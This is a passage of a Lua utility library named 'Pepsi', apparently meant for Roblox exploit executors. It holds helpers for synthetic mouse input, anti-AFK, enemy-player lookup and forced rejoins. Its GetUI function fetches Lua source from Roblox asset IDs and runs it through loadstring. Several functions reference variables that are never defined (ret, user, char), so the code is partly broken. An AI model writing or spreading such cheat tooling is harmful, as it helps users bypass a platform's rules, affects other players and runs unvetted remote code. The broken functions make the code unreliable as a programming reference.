876 elseif typeof(dur) == "Instance" then
877 dur = dur.Changed -- Damn son. Some one is REALLY thinking outside the fuckn box.
878 end
879 if x ~= "no" and x ~= nil and y ~= "no" and y ~= nil then
880 Pepsi.MoveMouse(x, y)
881 Pepsi.Sleep()
882 end
883 if type(dur) == "boolean" then
884 return game:GetService("VirtualInputManager"):SendMouseButtonEvent(x, y + 36, button, dur, game)
885 elseif type(dur) == "number" then
886 game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, true, game)
887 wait(dur)
888 return game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, false, game)
889 elseif type(dur) == "function" then
890 game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, true, game)
891 pcall(dur)
892 return game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, false, game)
893 elseif typeof(dur) == "RBXScriptSignal" then -- Realllly compatable, lol
894 game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, true, game)
895 dur:Wait()
896 return game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, false, game)
897 else -- Dur is not compatable
898 return game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, not game:GetService("UserInputService"):IsMouseButtonPressed(button), game)
899 end
900end
901function Pepsi.MoveMouse(x, y)
902 if x == nil and y == nil then
903 x, y = Pepsi.MousePos()
904 end
905 if typeof(x) == "Vector2" then
906 x, y = Pepsi.Viewport(x)
907 end
908 if x and y then
909 return game:GetService("VirtualInputManager"):SendMouseMoveEvent(x, y, game)
910 end
911end
912function Pepsi.MoveMouseRel(x, y)
913 local mx, my = Pepsi.MousePos()
914 if x == nil and y == nil then
915 x, y = 0, 0
916 end
917 if typeof(x) == "Vector2" then
918 x, y = Pepsi.Viewport(x)
919 end
920 if x and y then
921 x, y = x + mx, y + my
922 return game:GetService("VirtualInputManager"):SendMouseMoveEvent(x, y + 36, game)
923 end
924end
925function Pepsi.LeftClick(x, y, dur) -- Mousebutton1down and Up that works even if roblox is minimized or un focused
926 if x == nil and y == nil then
927 x, y = "no", "no"
928 end
929 if typeof(x) == "Vector2" then
930 dur = y
931 x, y = Pepsi.Viewport(x)
932 end
933 if dur == nil then
934 dur = 1 / 20 -- Defaults to 0.05 second click
935 elseif typeof(dur) == "Instance" then
936 dur = dur.Changed -- Damn son. Some one is REALLY thinking outside the fuckn box.
937 end
938 return Pepsi.Click(Enum.UserInputType.MouseButton1, x, y, dur)
939end
940function Pepsi.RightClick(x, y, dur)
941 if x == nil and y == nil then
942 x, y = "no", "no"
943 end
944 if typeof(x) == "Vector2" then
945 dur = y
946 x, y = Pepsi.Viewport(x)
947 end
948 if dur == nil then
949 dur = 1 / 100
950 end
951 return Pepsi.Click(Enum.UserInputType.MouseButton2, x, y, dur)
952end
953function Pepsi.MiddleClick(x, y, dur)
954 if x == nil and y == nil then
955 x, y = "no", "no"
956 end
957 if typeof(x) == "Vector2" then
958 dur = y
959 x, y = Pepsi.Viewport(x)
960 end
961 if dur == nil then
962 dur = 1 / 100
963 end
964 return Pepsi.Click(Enum.UserInputType.MouseButton3, x, y, dur)
965end
966function Pepsi.Scroll(num)
967 local out = true
968 if 0 > num then
969 out = false
970 end
971 return game:GetService("VirtualInputManager"):SendMouseWheelEvent(0, math.abs(num), out, game)
972end
973function Pepsi.Viewport(x, y, sx, sy)
974 if typeof(x) == "Vector2" then
975 sy, sx = sx, y
976 x, y = x.X, x.Y -- Compatability bruh
977 end
978 return math.round((sx or workspace.CurrentCamera.ViewportSize.X) * x), math.round(y * (sy or workspace.CurrentCamera.ViewportSize.Y))
979end
980function Pepsi.ToVector2(x, y, no_vec)
981 local mouse = nil
982 if type(x) == "boolean" and y == nil and no_vec == nil then
983 no_vec = x
984 x = nil
985 end
986 if x == nil or y == nil then
987 mouse = Pepsi.Mouse()
988 end
989 if no_vec then
990 return tonumber(x or mouse.X) / workspace.CurrentCamera.ViewportSize.X, tonumber(y or (36 + mouse.Y)) / workspace.CurrentCamera.ViewportSize.Y
991 end
992 return Vector2.new(tonumber(x or mouse.X) / workspace.CurrentCamera.ViewportSize.X, tonumber(y or (36 + mouse.Y)) / workspace.CurrentCamera.ViewportSize.Y)
993end
994function Pepsi.IsA(obj, class) -- typeof on steroids
995 if class == type(true) then -- To prevent the function taking "boolean" as a string and not a boolean
996 class = true
997 elseif class == type(typeof) then
998 class = rawequal
999 elseif class == typeof(game) then
1000 class = game
1001 elseif class == type(newthread) then
1002 class = newthread
1003 elseif class == "Vector3" then
1004 class = Vector3.new()
1005 elseif class == "Ray" then
1006 class = Ray.new()
1007 elseif class == "Enums" then
1008 class = Enum
1009 elseif class == "Enum" then
1010 class = Enum.ActionType
1011 elseif class == "EnumItem" then
1012 class = Enum.ActionType.Draw
1013 elseif class == "number" then
1014 class = 134663337
1015 elseif class == "nil" then
1016 class = nil
1017 elseif class == "userdata" then
1018 class = newproxy(true)
1019 end
1020 if nil == obj and nil ~= class then
1021 class = nil
1022 return false
1023 elseif typeof(obj) == "Instance" and nil ~= class then
1024 local back
1025 if typeof(game) == typeof(class) then
1026 class, back = class.ClassName, class
1027 end
1028 if nil ~= class then
1029 if obj.ClassName == class or obj:IsA(class) == true then
1030 class = nil
1031 return true
1032 end
1033 end
1034 class, back = back, nil
1035 end
1036 if typeof(obj) == typeof(class) or typeof(obj) == class or typeof(class) == obj or obj == class then
1037 class = nil
1038 return true
1039 end
1040 class = nil
1041 return false
1042end
1043function Pepsi.ycall(f, ...)
1044 local args = {...}
1045 return spawn(function()
1046 return pcall(f, unpack(args))
1047 end)
1048end
1049function Pepsi.eycall(f, ...)
1050 local args = {...}
1051 return spawn(function()
1052 return Pepsi.ecall(f, unpack(args))
1053 end)
1054end
1055function Pepsi.Dev(...)
1056 return Pepsi.scall(Pepsi.DevMsg, ...)
1057end
1058function Pepsi.WaitOnAny(...)
1059 local args = {
1060 ...
1061 }
1062 local connections, aggregator, depth, connect = {}, Instance.new("BindableEvent"), 0, nil
1063 function connect(index, signal)
1064 depth = tonumber(1 + (depth or 0))
1065 if typeof(signal) == "RBXScriptSignal" then
1066 local dupes = 0
1067 while connections[index] ~= nil do
1068 local offset = #tostring(dupes)
1069 dupes = 1 + dupes
1070 if index:sub(-(offset + 1), -(offset + 1)) == "_" then
1071 index = index:sub(1, -(offset + 2))
1072 end
1073 index = tostring(tostring(index) .. "_" .. tostring(dupes))
1074 end
1075 connections[index] = signal:Connect(function(...)
1076 aggregator:Fire(index, ...)
1077 end)
1078 elseif type(signal) == "table" and depth < 4 then
1079 table.foreach(signal, connect)
1080 end
1081 end
1082 for index, signal in pairs(args) do
1083 if typeof(signal) == "RBXScriptSignal" then
1084 connections[index] = signal:Connect(function(...)
1085 aggregator:Fire(index, ...)
1086 end)
1087 elseif type(signal) == "table" then
1088 table.foreach(signal, connect)
1089 end
1090 end
1091 local result = {
1092 aggregator.Event:Wait()
1093 }
1094 for k, v in pairs(connections) do
1095 if typeof(v) == "RBXScriptConnection" then
1096 v:Disconnect()
1097 v = nil
1098 end
1099 end
1100 aggregator:Destroy()
1101 return unpack(result)
1102end
1103function Pepsi.PartToPlayer(part)
1104 if typeof(part) == "Instance" then
1105 local char = part:FindFirstAncestorOfClass("Model")
1106 if char then
1107 return game:GetService("Players"):GetPlayerFromCharacter(char)
1108 end
1109 end
1110end
1111function Pepsi.PartsToPlayers(parts)
1112 Pepsi.Arg(parts, {"table"}, 1, "Pepsi.PartsToPlayers")
1113 local losers = {}
1114 for _, part in pairs(parts) do
1115 local p = Pepsi.PartToPlayer(part)
1116 if p then
1117 losers[p] = true
1118 end
1119 end
1120 return table.keys(losers)
1121end
1122function Pepsi.Pos(user)
1123 user = user or Pepsi.Torso()
1124 if typeof(user) == "Instance" and user:IsA("ValueBase") then
1125 if not user.Value then
1126 return
1127 end
1128 user = user.Value
1129 end
1130 if typeof(user) == "CFrame" then
1131 return user.Position
1132 elseif typeof(user) == "Vector3" then
1133 return user
1134 elseif typeof(user) == "Instance" and user:IsA("BasePart") then
1135 return user.Position
1136 elseif typeof(user) == "Instance" and user:IsA("Model") and user.PrimaryPart then
1137 return user.PrimaryPart.Position
1138 elseif typeof(user) == "Instance" and user:IsA("Player") and Pepsi.Torso(user) then
1139 return Pepsi.Torso(user).Position
1140 elseif user and typeof(user) == "Instance" and user:FindFirstChildWhichIsA("BasePart") or user:FindFirstChildWhichIsA("BasePart", true) then
1141 return user:FindFirstChildWhichIsA("BasePart") and user:FindFirstChildWhichIsA("BasePart").Position or user:FindFirstChildWhichIsA("BasePart", true).Position
1142 end
1143end
1144function Pepsi.DevMsg(...) -- Pepsi.Dev("**", "msg") // Forces a dev-only message to appear to non-devs
1145 if not shared.dev then
1146 return
1147 end
1148 if #({...}) == 1 or shared.dev == "*" then
1149 return Pepsi.Hint(Pepsi.Msg(...))
1150 elseif not Pepsi.IsA(shared.dev, "nil") then
1151 local args = {...}
1152 local channel = tonumber(args[1] or 1) or 1
1153 table.remove(args, 1)
1154 local msg = Pepsi.Msg(unpack(args))
1155 if shared.dev == channel or channel == "**" then
1156 return Pepsi.Hint(Pepsi.Msg(...))
1157 elseif channel == "***" then -- Make the user fully aware
1158 return Pepsi.Splash(Pepsi.scall(Pepsi.Error, Pepsi.Msg(...)))
1159 end
1160 end
1161end
1162function Pepsi.GetUI(v)
1163 v = math.range(tonumber(v or 1), 1, 2)
1164 Pepsi.Notify("Credit", "wally's UI Library Loaded!")
1165 return Pepsi.ecall(loadstring(rawget(game:GetObjects(rawget({"rbxassetid://3590459771", "rbxassetid://4133667265"}, v)), 0X1).Source))
1166end
1167function Pepsi.Msg(...)
1168 local s = tostring(Pepsi.scall(string.stringify, ...) or "") or ""
1169 if s:len() > 0 then
1170 game:GetService("TestService"):Message(tostring(s or "") or "", nil, nil)
1171 return tostring(s or "") or ""
1172 end
1173end
1174function Pepsi.ErrorMsg(...)
1175 local s = tostring(Pepsi.scall(string.stringify, ...) or "") or ""
1176 if s:len() > 0 then
1177 game:GetService("TestService"):Error(tostring("error: " .. tostring(s or "")) or "", nil, nil)
1178 return tostring(s or "") or ""
1179 end
1180end
1181function Pepsi.Rejoin(loser)
1182 loser = loser or Pepsi.Me()
1183 if Pepsi.Server or game.JobId then -- Keep trying, but if its full, goto new server.
1184 game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, tostring(Pepsi.Server or game.JobId), loser)
1185 local y, x = tostring(Pepsi.WaitUntil(game:GetService("GuiService").ErrorMessageChanged, 10, "Teleport Failed"))
1186 if not x or not y or string.find(x, "Teleport Failed", nil, true) then
1187 game:GetService("TeleportService"):Teleport(game.PlaceId, loser)
1188 end
1189 else
1190 return game:GetService("TeleportService"):Teleport(game.PlaceId, loser)
1191 end
1192end
1193function Pepsi.AntiAfk(rejoin)
1194 if Pepsi.afk then
1195 Pepsi.afk:Disconnect()
1196 Pepsi.afk = nil
1197 end
1198 if Pepsi.rejoinserver then
1199 Pepsi.rejoinserver:Disconnect()
1200 Pepsi.rejoinserver = nil
1201 end
1202 Pepsi.afk = Pepsi.Me().Idled:Connect(Pepsi.acall(Pepsi.LeftClick, {Vector2.new(1, 1)}))
1203 if rejoin then
1204 Pepsi.rejoinserver = game:GetService("GuiService").ErrorMessageChanged:Connect(function(msg)
1205 if string.find(msg, "Teleport Failed", nil, true) then
1206 return game:GetService("TeleportService"):Teleport(game.PlaceId, loser)
1207 else
1208 return game:GetService("TeleportService").TeleportToPlaceInstance(game.PlaceId, (Pepsi.Server or game.JobId), Pepsi.Lp)
1209 end
1210 end)
1211 end
1212end
1213function Pepsi.Me()
1214 Pepsi.Lp = game:GetService("Players").LocalPlayer
1215 return Pepsi.Lp or game:GetService("Players").LocalPlayer
1216end
1217function Pepsi.Notify(title, msg, dur, ico)
1218 if title ~= nil and msg == nil and dur == nil then
1219 title, msg = shared.project or "Notification", title
1220 end
1221 return game:GetService("StarterGui"):SetCore("SendNotification", {
1222 Title = tostring(title or shared.project or ""):upper(),
1223 Text = tostring(msg or ""):upper(),
1224 Duration = tonumber(dur or 3.5) or 3.5,
1225
1226 }) or tostring(msg or "") or "My god, what have you dun..."
1227end
1228function Pepsi.Error(str)
1229 local str, orig = tostring(str or "Unknown") or "Unknown", str
1230 pcall(warn, "Error:" .. tostring(str or "Unknown"))
1231 pcall(function()
1232 if isfile and appendfile and writefile then
1233 if not isfile("pepsi_errors.txt") then
1234 writefile("pepsi_errors.txt", tostring(str or "Unknown") .. "\n")
1235 else
1236 appendfile("pepsi_errors.txt", tostring(str or "Unknown") .. "\n")
1237 end
1238 end
1239 end)
1240 if shared.catch_errors or shared.dev then
1241 return error(tostring(str or orig or "Fucked."))
1242 end
1243 return tostring(orig or str or "") or "Something is truly fucked up. Like really."
1244end
1245function Pepsi.Sleep(n)
1246 if nil == n or type(n) == "number" and n <= 0 then
1247 game:GetService("RunService").RenderStepped:Wait()
1248 return true
1249 end
1250 n = tonumber(n or 1)
1251 local ti = nil
1252 for loops = 1, n do
1253 ti = {game:GetService("RunService").RenderStepped:Wait()}
1254 end
1255 return unpack(ti or {true})
1256end
1257function Pepsi.ecall(f, ...) -- Extra Call
1258 local r = {pcall(f, ...)}
1259 local b = table.remove(r, 1)
1260 if b then
1261 return unpack(r)
1262 else
1263 if shared.catch_errors or shared.dev then
1264 return error(Pepsi.Error(ret[2]), 2)
1265 end
1266 Pepsi.Error(tostring(ret[2]))
1267 return nil
1268 end
1269end
1270function Pepsi.scall(f, ...) -- silent call
1271 local r = {pcall(f, ...)}
1272 local b = table.remove(r, 1)
1273 if b then
1274 return unpack(r)
1275 else
1276 return nil
1277 end
1278end
1279function Pepsi.sycall(f, ...) -- silent yield call
1280 local args = {...}
1281 return spawn(function()
1282 return Pepsi.scall(f, unpack(args))
1283 end)
1284end
1285function Pepsi.IsDescendantOf(descendant, ancestors, ...)
1286 if descendant and ancestors then
1287 local suffix = {...}
1288 if type(ancestors) ~= "table" then
1289 ancestors = {ancestors}
1290 end
1291 if #suffix > 0 then
1292 for k, v in pairs(suffix) do
1293 table.insert(ancestors, v)
1294 end
1295 end
1296 for k, v in pairs(ancestors) do
1297 if v and typeof(v) == "Instance" then
1298 if descendant:IsDescendantOf(v) then
1299 return true
1300 end
1301 end
1302 end
1303 end
1304 return false
1305end
1306function Pepsi.Obj(set,...)
1307 local jumps = {
1308 ...
1309 }
1310 local s = {
1311 dig = false,
1312 wfc = false,
1313 silent = true,
1314 default = nil
1315 }
1316 if type(set) == "table" and type(jumps[1]) ~= "nil" and type(jumps[1]) ~= "table" then
1317 s = table.merge(s, set)
1318 end
1319 if typeof(set) == "Instance" or type(set) == "string" then
1320 table.insert(jumps, 1, set)
1321 end
1322 if s.wfc and (type(tonumber(s.dig)) ~= "number" or math.abs(tonumber(s.dig)) <= 0) then
1323 s.dig = 5
1324 end
1325 local goal = game
1326 local tmp, oops, res, last
1327 for _, v in pairs(jumps) do
1328 local fnd, res = false, nil
1329 if type(v) == "string" then
1330 if goal == game then
1331 oops, tmp = pcall(function()
1332 return game:FindService(v) or game[v]
1333 end)
1334 if not oops or nil == tmp then
1335 oops, tmp = pcall(function()
1336 return game:GetService(v) or game[v]
1337 end)
1338 end
1339 if oops and nil ~= tmp then
1340 goal, fnd = tmp, true
1341 last = typeof(goal) == "Instance" and goal or last
1342 end
1343 end
1344 if type(goal) ~= "nil" and not fnd then
1345 if typeof(goal) == "Instance" then
1346 oops, tmp = pcall(function()
1347 if true == s.wfc then
1348 return goal:WaitForChild(v, tonumber(s.dig or 5)) or Pepsi.Index(goal, v)
1349 end
1350 return goal:FindFirstChild(v, s.dig) or Pepsi.Index(goal, v)
1351 end)
1352 if oops and nil ~= tmp then
1353 goal, fnd = tmp, true
1354 last = typeof(goal) == "Instance" and goal or last
1355 end
1356 end
1357 if not fnd then
1358 oops, tmp = pcall(function()
1359 return goal[v]
1360 end)
1361 if oops and tmp ~= nil then
1362 goal, fnd = tmp, true
1363 last = typeof(goal) == "Instance" and goal or last
1364 end
1365 end
1366 end
1367 elseif typeof(v) == "Instance" then
1368 goal, fnd = v, true
1369 last = typeof(goal) == "Instance" and goal or last
1370 elseif type(goal) == "function" and type(v) == "table" then
1371 res = {
1372 pcall(goal, unpack(v))
1373 }
1374 oops, tmp = unpack(res)
1375 if not oops and type(tmp) == "string" and string.rawfind(tmp, "':' not '.'") then
1376 table.insert(v, 1, last)
1377 res = {
1378 pcall(goal, unpack(v))
1379 }
1380 oops, tmp = unpack(res)
1381 end
1382 if oops and tmp then
1383 goal, fnd = tmp, true
1384 last = typeof(goal) == "Instance" and goal or last
1385 end
1386 end
1387 if not fnd then
1388 if not s.silent then
1389 Pepsi.Error(tostring(v) .. " was not found in " .. tostring(goal))
1390 end
1391 goal = s.default
1392 break
1393 end
1394 end
1395 if type(res) == "table" and res[1] == true then
1396 table.remove(res, 1)
1397 return unpack(res)
1398 end
1399 return goal or s.default
1400end
1401function Pepsi.Char(loser)
1402 loser = loser or Pepsi.Me() or game:GetService("Players").LocalPlayer
1403 if not Pepsi.IsA(loser, "Player") then
1404 loser = Pepsi.Me() or game:GetService("Players").LocalPlayer
1405 end
1406 return loser.Character
1407end
1408function Pepsi.Player(s)
1409 return game:GetService("Players"):FindFirstChild(s)
1410end
1411function Pepsi.Target()
1412 return Pepsi.scall(function()
1413 return game:GetService("Players").LocalPlayer:GetMouse().Target
1414 end)
1415end
1416function Pepsi.Torso(loser)
1417 local c = Pepsi.Char(loser)
1418 if c then
1419 return c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso") or c:FindFirstChild("HumanoidRootPart", true) or c:FindFirstChild("Torso", true) or c:FindFirstChild("UpperTorso", true)
1420 end
1421end
1422function Pepsi.Human(loser)
1423 if typeof(loser) == "Instance" and loser:IsA("Humanoid") then
1424 return loser
1425 end
1426 local c = Pepsi.Char(loser)
1427 if c then
1428 return c:FindFirstChildOfClass("Humanoid") or c:FindFirstChildWhichIsA("Humanoid") or c:FindFirstChildOfClass("Humanoid", true) or c:FindFirstChildWhichIsA("Humanoid", true)
1429 end
1430end
1431function Pepsi.Health(human, ...)
1432 local dstats = {
1433 health = {
1434 h = true
1435 },
1436 max = {
1437 m = true
1438 },
1439 percent = {
1440 ["%"] = true,
1441 p = true,
1442 r = true,
1443 f = true
1444 },
1445 num = {
1446 ["#"] = true,
1447 n = true
1448 },
1449 all = {
1450 ["*"] = true,
1451 a = true
1452 }
1453 }
1454 local args = {...}
1455 if typeof(human) ~= "Instance" or not human:IsA("Humanoid") then
1456 table.insert(args, 1, human)
1457 human = Pepsi.Human()
1458 if not human then
1459 return #args > 1 and {0} or 0
1460 end
1461 end
1462 human = human or Pepsi.Human()
1463 if not human then
1464 return #args > 1 and {0} or 0
1465 end
1466 if #args < 1 then
1467 return human and human.Health or 0
1468 elseif #args == 1 then
1469 if args[1] == 1 then
1470 return human and human.Health or 0
1471 elseif args[1] == 2 then
1472 return human and human.MaxHealth or 0
1473 elseif args[1] == 3 then
1474 if human and human.MaxHealth == 100 then -- No point in doing math if its 100.
1475 return human and human.Health or 0
1476 end
1477 return human and math.round(human.Health / human.MaxHealth * 100) or 0
1478 else
1479 args[1] = tostring(args[1])
1480 end
1481 if type(args[1]) == "string" and args[1]:sub(1, 1):lower() == "p" or args[1]:sub(1, 1):lower() == "%" then
1482 return human and math.round(human.Health / human.MaxHealth * 100) or 0
1483 elseif type(args[1]) == "string" and args[1]:sub(1, 1):lower() == "m" then
1484 return human and human.MaxHealth or 0
1485 elseif type(args[1]) == "string" and args[1]:sub(1, 1):lower() == "h" then
1486 return human and human.Health or 0
1487 elseif type(args[1]) == "string" and args[1]:sub(1, 1):lower() == "a" or args[1]:sub(1, 1):lower() == "*" then
1488 return {
1489 (human and human.Health or 0),
1490 (human and human.MaxHealth or 0),
1491 (human and math.round(human.Health / human.MaxHealth * 100) or 0),
1492 health = (human and human.Health or 0),
1493 max = (human and human.MaxHealth or 0),
1494 percent = (human and math.round(human.Health / human.MaxHealth * 100) or 0)
1495 }
1496 elseif type(args[1]) == "string" and args[1]:sub(1, 1):lower() == "n" or args[1]:sub(1, 1):lower() == "#" then
1497 return {
1498 (human and human.Health or 0),
1499 (human and human.MaxHealth or 0),
1500 (human and math.round(human.Health / human.MaxHealth * 100) or 0)
1501 }
1502 end
1503 end
1504 local newargs = {}
1505 for k, v in pairs(args) do
1506 if type(v) == "string" then
1507 table.insert(newargs, v)
1508 elseif type(v) == "number" then
1509 table.insert(newargs, "number")
1510 elseif type(v) == "table" then
1511 for _k, _v in pairs(v) do
1512 if type(v) == "string" then
1513 table.insert(newargs, _v)
1514 end
1515 end
1516 end
1517 end
1518 local selection = {}
1519 for k, v in pairs(newargs) do
1520 for _k, _v in pairs(dstats) do
1521 if _v[string.lower(tostring(v)):sub(1, 1)] then
1522 selection[_k] = true
1523 end
1524 end
1525 end
1526 local stats = {}
1527 -- Could we have any more loops for the checking of health??
1528 if selection.health or selection.all then
1529 stats.health = human and human.Health or 0
1530 if selection.num or selection.all then
1531 stats[1] = human and human.Health or 0
1532 end
1533 end
1534 if selection.max or selection.all then
1535 stats.max = human and human.MaxHealth or 0
1536 if selection.num or selection.all then
1537 stats[2] = human and human.MaxHealth or 0
1538 end
1539 end
1540 if selection.percent or selection.all then
1541 stats.percent = human and math.round(human.Health / human.MaxHealth * 100) or 0
1542 if selection.num or selection.all then
1543 stats[3] = human and math.round(human.Health / human.MaxHealth * 100) or 0
1544 end
1545 end
1546 return stats
1547end
1548function Pepsi.Bot.new(options)
1549 Pepsi.Arg(options, {"nil", "table"}, 1, "Pepsi.Bot.new")
1550 local sets = table.merge({
1551 name = nil,
1552 userid = nil,
1553 spawnpos = nil,
1554 rig = 1,
1555 scripts = {}
1556 }, (options or {}))
1557 if sets.spawnpos ~= nil then
1558 sets.spawnpos = Pepsi.ToVector3(sets.spawnpos)
1559 end
1560 sets.scripts = sets.scripts or {}
1561 sets.name = tostring(sets.name or ((sets.userid and Pepsi.encall(game:GetService("Players"), "GetNameFromUserIdAsync", sets.userid)) or tostring("Bot " .. tostring(1 + #Pepsi.Bot.Bots))))
1562 Pepsi.Arg(sets.name, {"string"}, 1, "Pepsi.Bot.new")
1563 Pepsi.Arg(sets.userid, {"nil", "number"}, 1, "Pepsi.Bot.new")
1564 Pepsi.Arg(sets.spawnpos, {"nil", "Vector3"}, 1, "Pepsi.Bot.new")
1565 Pepsi.Arg(sets.rig, {"EnumItem", "number"}, 1, "Pepsi.Bot.new")
1566 Pepsi.Arg(sets.scripts, {"nil", "table"}, 1, "Pepsi.Bot.new")
1567 local d = assert(game:GetService("Players"):GetHumanoidDescriptionFromUserId(user), "Missing description")
1568 local r = assert(game:GetService("Players"):CreateHumanoidModelFromDescription(d, sets.rig), "Mising info?")
1569 local bot = assert(game:GetService("Players"):CreateHumanoidModelFromUserId(sets.userid or 6), "Missing bot?")
1570 bot.Name = tostring(sets.name or "Bot")
1571 local rhuman = assert(r:FindFirstChildOfClass("Humanoid") or r:FindFirstChildWhichIsA("Humanoid", true), "Missing bot humanoid?")
1572 local scr = {}
1573 local s = r:FindFirstChild("Animate")
1574 if s then
1575 s = s:Destroy()
1576 end
1577 for _, obj in pairs(char:GetChildren()) do
1578 if obj:IsA("LuaSourceContainer") then
1579 local s = obj:Clone()
1580 s.Disabled = true
1581 s.Parent = r
1582 table.insert(scr, s)
1583 elseif obj:IsA("Humanoid") then
1584 for _, val in pairs(obj:GetChildren()) do
1585 if val:IsA("ValueBase") and rhuman and rhuman:FindFirstChild(val.Name) then
1586 rhuman:FindFirstChild(val.Name).Value = val.Value
1587 end
1588 end
1589 end
1590 end
1591 return bot
1592end
1593function Pepsi.Index(t, i)
1594 Pepsi.ecall(assert, Pepsi.IsA(t, "table") and i ~= nil, not Pepsi.IsA(t, "table") and "Table missing" or "Index missing")
1595 return Pepsi.scall(rawget, t, i)
1596end
1597function Pepsi.EIndex(t, i, r)
1598 Pepsi.ecall(assert, Pepsi.IsA(t, "table") and i ~= nil, not Pepsi.IsA(t, "table") and "Table missing" or "Index missing")
1599 local s, f = pcall(rawget, t, i)
1600 local args = {}
1601 r = (tostring(r or "i"):len() > 0 and tostring(r or "i"):len() < 3) and "i" or r
1602 tostring(r or "i"):gsub(".", function(m)
1603 if "i" == m then
1604 table.insert(args, f)
1605 elseif "b" == m then
1606 table.insert(args, s)
1607 end
1608 end)
1609 return unpack(args or {false}) or false
1610end
1611function Pepsi.Team(plr, plr2)
1612 plr = plr or Pepsi.Me() or game:GetService("Players").LocalPlayer
1613 if not Pepsi.IsA(plr, "Player") then
1614 plr = Pepsi.Me() or game:GetService("Players").LocalPlayer
1615 end
1616 if Pepsi.IsA(plr, "Player") and plr2 == nil then
1617 return ((function()
1618 if Pepsi.IsA(plr.Team, game) then
1619 return plr.Team.Name
1620 end
1621 return "Neutral"
1622 end)()), (plr.TeamColor or BrickColor.White())
1623 elseif Pepsi.IsA(plr, "Player") and Pepsi.IsA(plr2, "Player") then
1624 if Pepsi.IsA(plr.Team, game) and Pepsi.IsA(plr2.Team, game) then
1625 return (plr.Team.Name == plr2.Team.Name and plr2.TeamColor == plr.TeamColor) or plr.Team == plr2.Team
1626 end
1627 end
1628end
1629function Pepsi.icall(instructions, ...)
1630 assert(instructions == nil or type(instructions) == "string" or type(instructions) == "table", "bad argument #1 to 'icall' (table/string expected, got " .. typeof(instructions) ~= "nil" and typeof(instructions) or "no value" .. ")")
1631 assert(#({...}) > 0, "bad argument #2+ to 'icall' (value(s) expected, got no values)")
1632 local operations = {
1633 a = false,
1634 e = false,
1635 f = false,
1636 n = false,
1637 i = false,
1638 o = false,
1639 s = false,
1640 y = false
1641 }
1642 local calls = {}
1643 if type(instructions) == "string" then
1644 local t = {}
1645 instructions:gsub(".", function(c)
1646 table.insert(t, c)
1647 end)
1648 instructions = t
1649 end
1650 for k, v in pairs(instructions) do
1651 if type(v) == "string" then
1652 local instruction = v:sub(1, 1)
1653 if operations[instruction] ~= nil then
1654 operations[instruction] = true
1655 calls[instruction] = true
1656 end
1657 end
1658 end
1659 if operations.e and operations.s then
1660 operations.e = false
1661 calls.e = nil
1662 end
1663 calls = table.concat(table.sort(table.keys(calls))) .. "call"
1664 if calls and rawget(Pepsi, calls) then
1665 return Pepsi[calls](...)
1666 end
1667 return pcall(...)
1668end
1669function Pepsi.Closest(objects, opt, ...)
1670 local from, rev, min, max, fastmin, fastmax, async = unpack({opt, ...})
1671 if type(opt) == "table" then
1672 from, rev, min, max, fastmin, fastmax, async = opt.from, opt.rev, opt.min, opt.max, opt.fastmin, opt.fastmax, opt.async, opt.async
1673 end
1674 from = from or Pepsi.Me()
1675 if type(objects) ~= "table" and type(from) == "table" then
1676 objects, from = from, objects
1677 end
1678 Pepsi.Arg(objects, {"table", "Instance"}, 1, "Pepsi.Closest")
1679 Pepsi.Arg(from, {"CFrame", "Vector3", "Instance"}, 2, "Pepsi.Closest")
1680 Pepsi.Arg(rev, {"boolean", "nil"}, 3, "Pepsi.Closest")
1681 Pepsi.Arg(max, {"number", "nil"}, 3, "Pepsi.Closest")
1682 Pepsi.Arg(min, {"number", "nil"}, 3, "Pepsi.Closest")
1683 Pepsi.Arg(fastmin, {"boolean", "nil"}, 3, "Pepsi.Closest")
1684 Pepsi.Arg(fastmax, {"boolean", "nil"}, 3, "Pepsi.Closest")
1685 if typeof(objects) == "Instance" then
1686 objects = objects:GetChildren()
1687 end
1688 max, min = tonumber(max or math.huge), tonumber(min or 0)
1689 local closest, dist, dists = nil, tonumber(max or math.huge), {}
1690 for _, obj in pairs(objects) do
1691 local d = Pepsi.Dist(obj, from)
1692 if type(d) == "number" then
1693 if fastmax and fastmin and max and min and d < min and d > max then
1694 return obj, {{obj, d}}
1695 elseif fastmax and max and d > max then
1696 return obj, {{obj, d}}
1697 elseif fastmin and min and d > min then
1698 return obj, {{obj, d}}
1699 elseif d < max and d > min then
1700 table.insert(dists, {obj, d})
1701 end
1702 end
1703 if async then
1704 if typeof(async) == "RBXScriptSignal" then
1705 async:Wait()
1706 else
1707 Pepsi.Rs:Wait()
1708 end
1709 end
1710 end
1711 if rev then
1712 table.sort(dists, function(a, b)
1713 return a[2] > b[2]
1714 end)
1715 else
1716 table.sort(dists, function(a, b)
1717 return a[2] < b[2]
1718 end)
1719 end
1720 local k, t = next(dists or {})
1721 if type(t) == "table" then
1722 local k, o = next(t or {})
1723 return o, dists
1724 end
1725 return nil, dists
1726end
1727function Pepsi.GetEnemy(plr)
1728 if not Pepsi.IsA(plr, "Player") then
1729 plr = Pepsi.Me()
1730 end
1731 if Pepsi.Team(plr) == "Neutral" then
1732 return Pepsi.GetOthers(plr)
1733 end
1734 local losers = {}
1735 for _, cteam in pairs(game:GetService("Teams"):GetTeams()) do
1736 if not rawequal(cteam.Name, Pepsi.Team(plr)) then
1737 for _, loser in pairs(cteam:GetPlayers()) do
1738 table.insert(losers, loser)
1739 end
1740 end
1741 end
1742 return losers
1743end
1744function Pepsi.Path(vector3, vec2)
1745 Pepsi.WaitForChar()
1746 if vector3 and not vec2 then
1747 vector3, vec2 = Pepsi.Pos(), vector3
1748 end
1749 Pepsi.Arg(vector3, {"nil", "CFrame", "Vector3"}, 1, "Pepsi.Path")
1750 vector3 = Pepsi.ToVector3(vector3)
